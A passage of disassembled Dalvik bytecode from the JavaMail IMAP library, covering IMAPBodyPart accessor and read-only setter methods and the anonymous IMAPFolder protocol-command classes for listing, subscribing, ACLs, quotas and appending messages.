0000003E  iget-object             v4, p0, IMAPBodyPart->message:IMAPMessage
00000042  invoke-virtual          IMAPMessage->getFetchBlockSize()I, v4
00000048  move-result             v4
0000004A  const/4                 v5, 0xFFFFFFFFFFFFFFFF
0000004C  if-eq                   v4, v5, :6E
:50
00000050  new-instance            v0, IMAPInputStream
00000054  iget-object             v3, p0, IMAPBodyPart->message:IMAPMessage
00000058  iget-object             v4, p0, IMAPBodyPart->sectionId:String
0000005C  iget-object             v5, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000060  iget                    v5, v5, BODYSTRUCTURE->size:I
00000064  invoke-direct           IMAPInputStream-><init>(IMAPMessage, String, I, Z)V, v0, v3, v4, v5, v1
:6A
0000006A  monitor-exit            v2
:6C
0000006C  return-object           v0
:6E
0000006E  iget-object             v4, p0, IMAPBodyPart->message:IMAPMessage
00000072  invoke-virtual          IMAPMessage->getSequenceNumber()I, v4
00000078  move-result             v4
0000007A  if-eqz                  v1, :AC
:7E
0000007E  iget-object             v1, p0, IMAPBodyPart->sectionId:String
00000082  invoke-virtual          IMAPProtocol->peekBody(I, String)BODY, v3, v4, v1
00000088  move-result-object      v1
:8A
0000008A  if-eqz                  v1, :96
:8E
0000008E  invoke-virtual          BODY->getByteArrayInputStream()ByteArrayInputStream, v1
:94
00000094  move-result-object      v0
:96
00000096  monitor-exit            v2
:98
00000098  if-nez                  v0, :6C
:9C
0000009C  new-instance            v0, MessagingException
000000A0  const-string            v1, "No content"
000000A4  invoke-direct           MessagingException-><init>(String)V, v0, v1
000000AA  throw                   v0
:AC
000000AC  iget-object             v1, p0, IMAPBodyPart->sectionId:String
000000B0  invoke-virtual          IMAPProtocol->fetchBody(I, String)BODY, v3, v4, v1
:B6
000000B6  move-result-object      v1
000000B8  goto                    :8A
:BA
000000BA  move-exception          v0
:BC
000000BC  new-instance            v1, FolderClosedException
000000C0  iget-object             v3, p0, IMAPBodyPart->message:IMAPMessage
000000C4  invoke-virtual          IMAPMessage->getFolder()Folder, v3
000000CA  move-result-object      v3
000000CC  invoke-virtual          ConnectionException->getMessage()String, v0
000000D2  move-result-object      v0
000000D4  invoke-direct           FolderClosedException-><init>(Folder, String)V, v1, v3, v0
000000DA  throw                   v1
:DC
000000DC  move-exception          v0
000000DE  monitor-exit            v2
:E0
000000E0  throw                   v0
:E2
000000E2  move-exception          v0
:E4
000000E4  new-instance            v1, MessagingException
000000E8  invoke-virtual          ProtocolException->getMessage()String, v0
000000EE  move-result-object      v3
000000F0  invoke-direct           MessagingException-><init>(String, Exception)V, v1, v3, v0
000000F6  throw                   v1
          .catch ConnectionException {:1C .. :6A} :BA
          .catch ProtocolException {:1C .. :6A} :E2
          .catchall {:1C .. :6A} :DC
          .catchall {:6A .. :6C} :DC
          .catch ConnectionException {:6E .. :94} :BA
          .catch ProtocolException {:6E .. :94} :E2
          .catchall {:6E .. :94} :DC
          .catchall {:96 .. :98} :DC
          .catch ConnectionException {:AC .. :B6} :BA
          .catch ProtocolException {:AC .. :B6} :E2
          .catchall {:AC .. :B6} :DC
          .catchall {:BC .. :E0} :DC
          .catchall {:E4 .. :F8} :DC
.end method

.method public getContentType()String
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->type:String
00000004  return-object           v0
.end method

.method public declared-synchronized getDataHandler()DataHandler
          .registers 7
00000000  monitor-enter           p0
:2
00000002  iget-object             v0, p0, IMAPBodyPart->dh:DataHandler
00000006  if-nez                  v0, :42
:A
0000000A  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000000E  invoke-virtual          BODYSTRUCTURE->isMulti()Z, v0
00000014  move-result             v0
00000016  if-eqz                  v0, :4E
:1A
0000001A  new-instance            v0, DataHandler
0000001E  new-instance            v1, IMAPMultipartDataSource
00000022  iget-object             v2, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000026  iget-object             v2, v2, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
0000002A  iget-object             v3, p0, IMAPBodyPart->sectionId:String
0000002E  iget-object             v4, p0, IMAPBodyPart->message:IMAPMessage
00000032  invoke-direct           IMAPMultipartDataSource-><init>(MimePart, [BODYSTRUCTURE, String, IMAPMessage)V, v1, p0, v2, v3, v4
00000038  invoke-direct           DataHandler-><init>(DataSource)V, v0, v1
0000003E  iput-object             v0, p0, IMAPBodyPart->dh:DataHandler
:42
00000042  invoke-super            MimeBodyPart->getDataHandler()DataHandler, p0
:48
00000048  move-result-object      v0
0000004A  monitor-exit            p0
0000004C  return-object           v0
:4E
0000004E  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000052  invoke-virtual          BODYSTRUCTURE->isNested()Z, v0
00000058  move-result             v0
0000005A  if-eqz                  v0, :42
:5E
0000005E  iget-object             v0, p0, IMAPBodyPart->message:IMAPMessage
00000062  invoke-virtual          IMAPMessage->isREV1()Z, v0
00000068  move-result             v0
0000006A  if-eqz                  v0, :42
:6E
0000006E  new-instance            v0, DataHandler
00000072  new-instance            v1, IMAPNestedMessage
00000076  iget-object             v2, p0, IMAPBodyPart->message:IMAPMessage
0000007A  iget-object             v3, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000007E  iget-object             v3, v3, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
00000082  const/4                 v4, 0x0
00000084  aget-object             v3, v3, v4
00000088  iget-object             v4, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000008C  iget-object             v4, v4, BODYSTRUCTURE->envelope:ENVELOPE
00000090  iget-object             v5, p0, IMAPBodyPart->sectionId:String
00000094  invoke-direct           IMAPNestedMessage-><init>(IMAPMessage, BODYSTRUCTURE, ENVELOPE, String)V, v1, v2, v3, v4, v5
0000009A  iget-object             v2, p0, IMAPBodyPart->type:String
0000009E  invoke-direct           DataHandler-><init>(Object, String)V, v0, v1, v2
000000A4  iput-object             v0, p0, IMAPBodyPart->dh:DataHandler
:A8
000000A8  goto                    :42
:AA
000000AA  move-exception          v0
000000AC  monitor-exit            p0
000000AE  throw                   v0
          .catchall {:2 .. :48} :AA
          .catchall {:4E .. :A8} :AA
.end method

.method public getDescription()String
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->description:String
00000004  if-eqz                  v0, :E
:8
00000008  iget-object             v0, p0, IMAPBodyPart->description:String
:C
0000000C  return-object           v0
:E
0000000E  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000012  iget-object             v0, v0, BODYSTRUCTURE->description:String
00000016  if-nez                  v0, :1E
:1A
0000001A  const/4                 v0, 0x0
0000001C  goto                    :C
:1E
0000001E  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000022  iget-object             v0, v0, BODYSTRUCTURE->description:String
00000026  invoke-static           MimeUtility->decodeText(String)String, v0
0000002C  move-result-object      v0
0000002E  iput-object             v0, p0, IMAPBodyPart->description:String
:32
00000032  iget-object             v0, p0, IMAPBodyPart->description:String
00000036  goto                    :C
:38
00000038  move-exception          v0
0000003A  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000003E  iget-object             v0, v0, BODYSTRUCTURE->description:String
00000042  iput-object             v0, p0, IMAPBodyPart->description:String
00000046  goto                    :32
          .catch UnsupportedEncodingException {:1E .. :32} :38
.end method

.method public getDisposition()String
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004  iget-object             v0, v0, BODYSTRUCTURE->disposition:String
00000008  return-object           v0
.end method

.method public getEncoding()String
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004  iget-object             v0, v0, BODYSTRUCTURE->encoding:String
00000008  return-object           v0
.end method

.method public getFileName()String
          .registers 3
00000000  const/4                 v0, 0x0
00000002  iget-object             v1, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000006  iget-object             v1, v1, BODYSTRUCTURE->dParams:ParameterList
0000000A  if-eqz                  v1, :22
:E
0000000E  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000012  iget-object             v0, v0, BODYSTRUCTURE->dParams:ParameterList
00000016  const-string            v1, "filename"
0000001A  invoke-virtual          ParameterList->get(String)String, v0, v1
00000020  move-result-object      v0
:22
00000022  if-nez                  v0, :46
:26
00000026  iget-object             v1, p0, IMAPBodyPart->bs:BODYSTRUCTURE
0000002A  iget-object             v1, v1, BODYSTRUCTURE->cParams:ParameterList
0000002E  if-eqz                  v1, :46
:32
00000032  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000036  iget-object             v0, v0, BODYSTRUCTURE->cParams:ParameterList
0000003A  const-string            v1, "name"
0000003E  invoke-virtual          ParameterList->get(String)String, v0, v1
00000044  move-result-object      v0
:46
00000046  return-object           v0
.end method

.method public getHeader(String)[String
          .registers 3
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getHeader(String)[String, p0, p1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getLineCount()I
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004  iget                    v0, v0, BODYSTRUCTURE->lines:I
00000008  return                  v0
.end method

.method public getMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getMatchingHeaderLines([String)Enumeration, p0, p1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getMatchingHeaders([String)Enumeration
          .registers 3
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getMatchingHeaders([String)Enumeration, p0, p1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getNonMatchingHeaderLines([String)Enumeration
          .registers 3
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getNonMatchingHeaderLines([String)Enumeration, p0, p1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getNonMatchingHeaders([String)Enumeration
          .registers 3
00000000  invoke-direct           IMAPBodyPart->loadHeaders()V, p0
00000006  invoke-super            MimeBodyPart->getNonMatchingHeaders([String)Enumeration, p0, p1
0000000C  move-result-object      v0
0000000E  return-object           v0
.end method

.method public getSize()I
          .registers 2
00000000  iget-object             v0, p0, IMAPBodyPart->bs:BODYSTRUCTURE
00000004  iget                    v0, v0, BODYSTRUCTURE->size:I
00000008  return                  v0
.end method

.method public removeHeader(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setContent(Object, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setContent(Multipart)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setContentMD5(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setDataHandler(DataHandler)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setDescription(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setDisposition(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setFileName(String)V
          .registers 4
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method public setHeader(String, String)V
          .registers 5
00000000  new-instance            v0, IllegalWriteException
00000004  const-string            v1, "IMAPBodyPart is read-only"
00000008  invoke-direct           IllegalWriteException-><init>(String)V, v0, v1
0000000E  throw                   v0
.end method

.method protected updateHeaders()V
          .registers 1
00000000  return-void
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$10
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$dd:Date
.field private final synthetic val$f:Flags
.field private final synthetic val$mos:MessageLiteral

.method constructor <init>(IMAPFolder, Flags, Date, MessageLiteral)V
          .registers 5
00000000  iput-object             p1, p0, IMAPFolder$10->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$10->val$f:Flags
00000008  iput-object             p3, p0, IMAPFolder$10->val$dd:Date
0000000C  iput-object             p4, p0, IMAPFolder$10->val$mos:MessageLiteral
00000010  invoke-direct           Object-><init>()V, p0
00000016  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 6
00000000  iget-object             v0, p0, IMAPFolder$10->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  iget-object             v1, p0, IMAPFolder$10->val$f:Flags
0000000C  iget-object             v2, p0, IMAPFolder$10->val$dd:Date
00000010  iget-object             v3, p0, IMAPFolder$10->val$mos:MessageLiteral
00000014  invoke-virtual          IMAPProtocol->append(String, Flags, Date, Literal)V, p1, v0, v1, v2, v3
0000001A  const/4                 v0, 0x0
0000001C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$11
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$dd:Date
.field private final synthetic val$f:Flags
.field private final synthetic val$mos:MessageLiteral

.method constructor <init>(IMAPFolder, Flags, Date, MessageLiteral)V
          .registers 5
00000000  iput-object             p1, p0, IMAPFolder$11->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$11->val$f:Flags
00000008  iput-object             p3, p0, IMAPFolder$11->val$dd:Date
0000000C  iput-object             p4, p0, IMAPFolder$11->val$mos:MessageLiteral
00000010  invoke-direct           Object-><init>()V, p0
00000016  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 6
00000000  iget-object             v0, p0, IMAPFolder$11->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  iget-object             v1, p0, IMAPFolder$11->val$f:Flags
0000000C  iget-object             v2, p0, IMAPFolder$11->val$dd:Date
00000010  iget-object             v3, p0, IMAPFolder$11->val$mos:MessageLiteral
00000014  invoke-virtual          IMAPProtocol->appenduid(String, Flags, Date, Literal)AppendUID, p1, v0, v1, v2, v3
0000001A  move-result-object      v0
0000001C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$12
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$12->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 3
00000000  iget-object             v0, p0, IMAPFolder$12->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  invoke-virtual          IMAPProtocol->getQuotaRoot(String)[Quota, p1, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$13
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$quota:Quota

.method constructor <init>(IMAPFolder, Quota)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$13->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$13->val$quota:Quota
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 3
00000000  iget-object             v0, p0, IMAPFolder$13->val$quota:Quota
00000004  invoke-virtual          IMAPProtocol->setQuota(Quota)V, p1, v0
0000000A  const/4                 v0, 0x0
0000000C  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$14
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$14->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 3
00000000  iget-object             v0, p0, IMAPFolder$14->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  invoke-virtual          IMAPProtocol->getACL(String)[ACL, p1, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$15
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$name:String

.method constructor <init>(IMAPFolder, String)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$15->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$15->val$name:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  iget-object             v0, p0, IMAPFolder$15->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  iget-object             v1, p0, IMAPFolder$15->val$name:String
0000000C  invoke-virtual          IMAPProtocol->deleteACL(String, String)V, p1, v0, v1
00000012  const/4                 v0, 0x0
00000014  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$16
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$name:String

.method constructor <init>(IMAPFolder, String)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$16->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$16->val$name:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  iget-object             v0, p0, IMAPFolder$16->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  iget-object             v1, p0, IMAPFolder$16->val$name:String
0000000C  invoke-virtual          IMAPProtocol->listRights(String, String)[Rights, p1, v0, v1
00000012  move-result-object      v0
00000014  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$17
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$17->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 3
00000000  iget-object             v0, p0, IMAPFolder$17->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  invoke-virtual          IMAPProtocol->myRights(String)Rights, p1, v0
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$18
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$acl:ACL
.field private final synthetic val$mod:C

.method constructor <init>(IMAPFolder, C, ACL)V
          .registers 4
00000000  iput-object             p1, p0, IMAPFolder$18->this$0:IMAPFolder
00000004  iput-char               p2, p0, IMAPFolder$18->val$mod:C
00000008  iput-object             p3, p0, IMAPFolder$18->val$acl:ACL
0000000C  invoke-direct           Object-><init>()V, p0
00000012  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 5
00000000  iget-object             v0, p0, IMAPFolder$18->this$0:IMAPFolder
00000004  iget-object             v0, v0, IMAPFolder->fullName:String
00000008  iget-char               v1, p0, IMAPFolder$18->val$mod:C
0000000C  iget-object             v2, p0, IMAPFolder$18->val$acl:ACL
00000010  invoke-virtual          IMAPProtocol->setACL(String, C, ACL)V, p1, v0, v1, v2
00000016  const/4                 v0, 0x0
00000018  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$19
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$19->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  iget-object             v0, p0, IMAPFolder$19->this$0:IMAPFolder
00000004  invoke-static           IMAPFolder->access$1(IMAPFolder)I, v0
0000000A  move-result             v0
0000000C  if-nez                  v0, :28
:10
00000010  invoke-virtual          IMAPProtocol->idleStart()V, p1
00000016  iget-object             v0, p0, IMAPFolder$19->this$0:IMAPFolder
0000001A  const/4                 v1, 0x1
0000001C  invoke-static           IMAPFolder->access$2(IMAPFolder, I)V, v0, v1
00000022  sget-object             v0, Boolean->TRUE:Boolean
:26
00000026  return-object           v0
:28
00000028  iget-object             v0, p0, IMAPFolder$19->this$0:IMAPFolder
0000002C  iget-object             v0, v0, IMAPFolder->messageCacheLock:Object
00000030  invoke-virtual          Object->wait()V, v0
:36
00000036  sget-object             v0, Boolean->FALSE:Boolean
0000003A  goto                    :26
:3C
0000003C  move-exception          v0
0000003E  goto                    :36
          .catch InterruptedException {:28 .. :36} :3C
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$1
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$lname:String

.method constructor <init>(IMAPFolder, String)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$1->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$1->val$lname:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  const-string            v0, ""
00000004  iget-object             v1, p0, IMAPFolder$1->val$lname:String
00000008  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$2
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$c:C
.field private final synthetic val$pattern:String
.field private final synthetic val$subscribed:Z

.method constructor <init>(IMAPFolder, Z, C, String)V
          .registers 5
00000000  iput-object             p1, p0, IMAPFolder$2->this$0:IMAPFolder
00000004  iput-boolean            p2, p0, IMAPFolder$2->val$subscribed:Z
00000008  iput-char               p3, p0, IMAPFolder$2->val$c:C
0000000C  iput-object             p4, p0, IMAPFolder$2->val$pattern:String
00000010  invoke-direct           Object-><init>()V, p0
00000016  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 5
00000000  iget-boolean            v0, p0, IMAPFolder$2->val$subscribed:Z
00000004  if-eqz                  v0, :50
:8
00000008  const-string            v0, ""
0000000C  new-instance            v1, StringBuilder
00000010  iget-object             v2, p0, IMAPFolder$2->this$0:IMAPFolder
00000014  iget-object             v2, v2, IMAPFolder->fullName:String
00000018  invoke-static           String->valueOf(Object)String, v2
0000001E  move-result-object      v2
00000020  invoke-direct           StringBuilder-><init>(String)V, v1, v2
00000026  iget-char               v2, p0, IMAPFolder$2->val$c:C
0000002A  invoke-virtual          StringBuilder->append(C)StringBuilder, v1, v2
00000030  move-result-object      v1
00000032  iget-object             v2, p0, IMAPFolder$2->val$pattern:String
00000036  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
0000003C  move-result-object      v1
0000003E  invoke-virtual          StringBuilder->toString()String, v1
00000044  move-result-object      v1
00000046  invoke-virtual          IMAPProtocol->lsub(String, String)[ListInfo, p1, v0, v1
0000004C  move-result-object      v0
:4E
0000004E  return-object           v0
:50
00000050  const-string            v0, ""
00000054  new-instance            v1, StringBuilder
00000058  iget-object             v2, p0, IMAPFolder$2->this$0:IMAPFolder
0000005C  iget-object             v2, v2, IMAPFolder->fullName:String
00000060  invoke-static           String->valueOf(Object)String, v2
00000066  move-result-object      v2
00000068  invoke-direct           StringBuilder-><init>(String)V, v1, v2
0000006E  iget-char               v2, p0, IMAPFolder$2->val$c:C
00000072  invoke-virtual          StringBuilder->append(C)StringBuilder, v1, v2
00000078  move-result-object      v1
0000007A  iget-object             v2, p0, IMAPFolder$2->val$pattern:String
0000007E  invoke-virtual          StringBuilder->append(String)StringBuilder, v1, v2
00000084  move-result-object      v1
00000086  invoke-virtual          StringBuilder->toString()String, v1
0000008C  move-result-object      v1
0000008E  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000094  move-result-object      v0
00000096  goto                    :4E
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$3
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder

.method constructor <init>(IMAPFolder)V
          .registers 2
00000000  iput-object             p1, p0, IMAPFolder$3->this$0:IMAPFolder
00000004  invoke-direct           Object-><init>()V, p0
0000000A  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  invoke-virtual          IMAPProtocol->isREV1()Z, p1
00000006  move-result             v0
00000008  if-eqz                  v0, :22
:C
0000000C  iget-object             v0, p0, IMAPFolder$3->this$0:IMAPFolder
00000010  iget-object             v0, v0, IMAPFolder->fullName:String
00000014  const-string            v1, ""
00000018  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
0000001E  move-result-object      v0
:20
00000020  return-object           v0
:22
00000022  const-string            v0, ""
00000026  iget-object             v1, p0, IMAPFolder$3->this$0:IMAPFolder
0000002A  iget-object             v1, v1, IMAPFolder->fullName:String
0000002E  invoke-virtual          IMAPProtocol->list(String, String)[ListInfo, p1, v0, v1
00000034  move-result-object      v0
00000036  goto                    :20
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$4
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$lname:String

.method constructor <init>(IMAPFolder, String)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$4->this$0:IMAPFolder
00000004  iput-object             p2, p0, IMAPFolder$4->val$lname:String
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  const-string            v0, ""
00000004  iget-object             v1, p0, IMAPFolder$4->val$lname:String
00000008  invoke-virtual          IMAPProtocol->lsub(String, String)[ListInfo, p1, v0, v1
0000000E  move-result-object      v0
00000010  return-object           v0
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$5
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$subscribe:Z

.method constructor <init>(IMAPFolder, Z)V
          .registers 3
00000000  iput-object             p1, p0, IMAPFolder$5->this$0:IMAPFolder
00000004  iput-boolean            p2, p0, IMAPFolder$5->val$subscribe:Z
00000008  invoke-direct           Object-><init>()V, p0
0000000E  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 3
00000000  iget-boolean            v0, p0, IMAPFolder$5->val$subscribe:Z
00000004  if-eqz                  v0, :1A
:8
00000008  iget-object             v0, p0, IMAPFolder$5->this$0:IMAPFolder
0000000C  iget-object             v0, v0, IMAPFolder->fullName:String
00000010  invoke-virtual          IMAPProtocol->subscribe(String)V, p1, v0
:16
00000016  const/4                 v0, 0x0
00000018  return-object           v0
:1A
0000001A  iget-object             v0, p0, IMAPFolder$5->this$0:IMAPFolder
0000001E  iget-object             v0, v0, IMAPFolder->fullName:String
00000022  invoke-virtual          IMAPProtocol->unsubscribe(String)V, p1, v0
00000028  goto                    :16
.end method

#--------------------------------------------------------------------------------
.class IMAPFolder$6
.super Object
.source ""

.implements IMAPFolder$ProtocolCommand

.field final synthetic this$0:IMAPFolder
.field private final synthetic val$sep:C
.field private final synthetic val$type:I

.method constructor <init>(IMAPFolder, I, C)V
          .registers 4
00000000  iput-object             p1, p0, IMAPFolder$6->this$0:IMAPFolder
00000004  iput                    p2, p0, IMAPFolder$6->val$type:I
00000008  iput-char               p3, p0, IMAPFolder$6->val$sep:C
0000000C  invoke-direct           Object-><init>()V, p0
00000012  return-void
.end method

.method public doCommand(IMAPProtocol)Object
          .registers 4
00000000  iget                    v0, p0, IMAPFolder$6->val$type:I
00000004  and-int/lit8            v0, v0, 0x1
00000008  if-nez                  v0, :46
:C
0000000C  new-instance            v0, StringBuilder
00000010  iget-object             v1, p0, IMAPFolder$6->this$0:IMAPFolder
00000014  iget-object             v1, v1, IMAPFolder->fullName:String
00000018  invoke-static           String->valueOf(Object)String, v1
0000001E  move-result-object      v1
00000020  invoke-direct           StringBuilder-><init>(String)V, v0, v1
00000026  iget-char               v1, p0, IMAPFolder$6->val$sep:C
0000002A  invoke-virtual          StringBuilder->append(C)StringBuilder, v0, v1
00000030  move-result-object      v0
00000032  invoke-virtual          StringBuilder->toString()String, v0
00000038  move-result-object      v0
0000003A  invoke-virtual          IMAPProtocol->create(String)V, p1, v0
:40
